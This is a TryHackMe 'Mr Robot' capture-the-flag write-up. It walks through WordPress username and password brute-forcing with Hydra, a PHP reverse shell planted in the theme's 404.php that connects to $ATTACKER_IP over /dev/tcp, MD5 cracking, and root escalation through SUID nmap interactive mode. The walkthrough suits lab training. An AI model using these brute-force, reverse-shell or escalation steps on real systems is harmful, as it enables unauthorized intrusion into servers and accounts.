Skip to content

MrRobot Writeup - TryHackMe

Medium Linux
Hackercat

Ethical Hacker

Mr Robot is a medium Linux box on TryHackMe themed around the TV show. Three keys are hidden across the machine. The path runs from web enumeration through WordPress credential brute-forcing, a PHP reverse shell via the Theme Editor, MD5 hash cracking to pivot to a second user, and privilege escalation through a SUID nmap binary with interactive mode.

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80,443 $TARGET_IP
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu
80/tcp  open  http     Apache httpd
443/tcp open  ssl/http Apache httpd
|_ssl-cert: commonName=www.example.com (expired)
Explain command
-sC Run default NSE scripts for service fingerprinting.
-sV Probe open ports for version detection.

Apache on both 80 and 443 with an expired self-signed cert. Run directory brute-forcing against port 80:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt
/wp-login.php   (Status: 200)
/wp-admin       (Status: 301)
/robots.txt     (Status: 200)
/license        (Status: 200)
/readme         (Status: 200)
/phpmyadmin     (Status: 403)
Explain command
-x php,txt Append these extensions to each wordlist entry.

WordPress confirmed via wp-login.php and wp-admin. robots.txt stands out.

Key 1

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt

Two files exposed: a custom wordlist and the first key. Grab both:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/key-1-of-3.txt
$KEY_1
┌──(kali㉿kali)-[~]
└─$ wget http://$TARGET_IP/fsocity.dic

The wordlist has 858,160 lines with massive duplication. Dedup before brute-forcing:

┌──(kali㉿kali)-[~]
└─$ sort -u fsocity.dic > fsocity_clean.dic
┌──(kali㉿kali)-[~]
└─$ wc -l fsocity.dic fsocity_clean.dic
 858160 fsocity.dic
  11451 fsocity_clean.dic

858k down to 11k. This saves significant time on Hydra runs.

WordPress Credential Brute-Force

WordPress returns different error messages for invalid usernames vs wrong passwords. This makes username enumeration possible before going after the password.

Username enumeration

┌──(kali㉿kali)-[~]
└─$ hydra -L fsocity_clean.dic -p test $TARGET_IP http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -t 30
[80][http-post-form] host: $TARGET_IP  login: elliot  password: test
Explain command
-L fsocity_clean.dic Use the cleaned wordlist as the username list.
-p test Static dummy password for all username attempts.

Valid username: elliot. The failure string Invalid username disappears when a real username is submitted, which is how Hydra identifies the hit.

Password brute-force

┌──(kali㉿kali)-[~]
└─$ hydra -l elliot -P fsocity_clean.dic $TARGET_IP http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username" -t 30
[80][http-post-form] host: $TARGET_IP  login: elliot  password: $ELLIOT_PASSWORD
Explain command
-l elliot Fixed username from the enumeration step.
-P fsocity_clean.dic Use the cleaned wordlist as the password list.

WordPress credentials obtained. The failure string changed to The password you entered for the username because WordPress now acknowledges the username is valid but the password is wrong.

Initial Access

PHP reverse shell via Theme Editor

Log in at http://$TARGET_IP/wp-login.php with the recovered credentials. Navigate to Appearance, Editor, and select 404.php from the Twenty Fifteen theme (the active theme). Replace the entire file content with a PHP reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"); ?>

Click Update File. Start the listener on the attack machine:

┌──(kali㉿kali)-[~]
└─$ nc -nlvp $ATTACKER_PORT

Trigger the shell by requesting the modified 404 page:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/wp-content/themes/twentyfifteen/404.php

Shell received as daemon. Upgrade to an interactive TTY:

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Key 2

MD5 hash crack and user pivot

┌──(kali㉿kali)-[~]
└─$ find / -name "key-2-of-3.txt" 2>/dev/null
/home/robot/key-2-of-3.txt
┌──(kali㉿kali)-[~]
└─$ ls -la /home/robot/
-r-------- 1 robot robot  33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot  39 Nov 13 2015 password.raw-md5

Key 2 is owned by robot and only readable by that user. However password.raw-md5 is world-readable:

┌──(kali㉿kali)-[~]
└─$ cat /home/robot/password.raw-md5
robot:$ROBOT_HASH

Raw MD5 hash in username:hash format. Crack it with hashcat or an online service like CrackStation:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 $ROBOT_HASH /usr/share/wordlists/rockyou.txt
$ROBOT_HASH:$ROBOT_PASSWORD

Session..........: hashcat
Status...........: Cracked
Explain command
-m 0 Hash mode 0 for raw MD5.

Switch to the robot user with the cracked password:

┌──(kali㉿kali)-[~]
└─$ su robot
Password: $ROBOT_PASSWORD
robot@linux:~$
robot@linux ~ $ cat /home/robot/key-2-of-3.txt
$KEY_2

Privilege Escalation

SUID nmap interactive mode

Search for SUID binaries:

robot@linux ~ $ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/nmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/bin/mount
Explain command
-perm -u=s Find files with the SUID bit set.

/usr/local/bin/nmap with SUID is the escalation vector. This is nmap version 3.81, which supports --interactive mode. Because the binary runs as root via SUID, any shell spawned from interactive mode inherits root privileges.

robot@linux ~ $ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root
root@linux ~ # cat /root/key-3-of-3.txt
$KEY_3

Root obtained. All three keys recovered.

References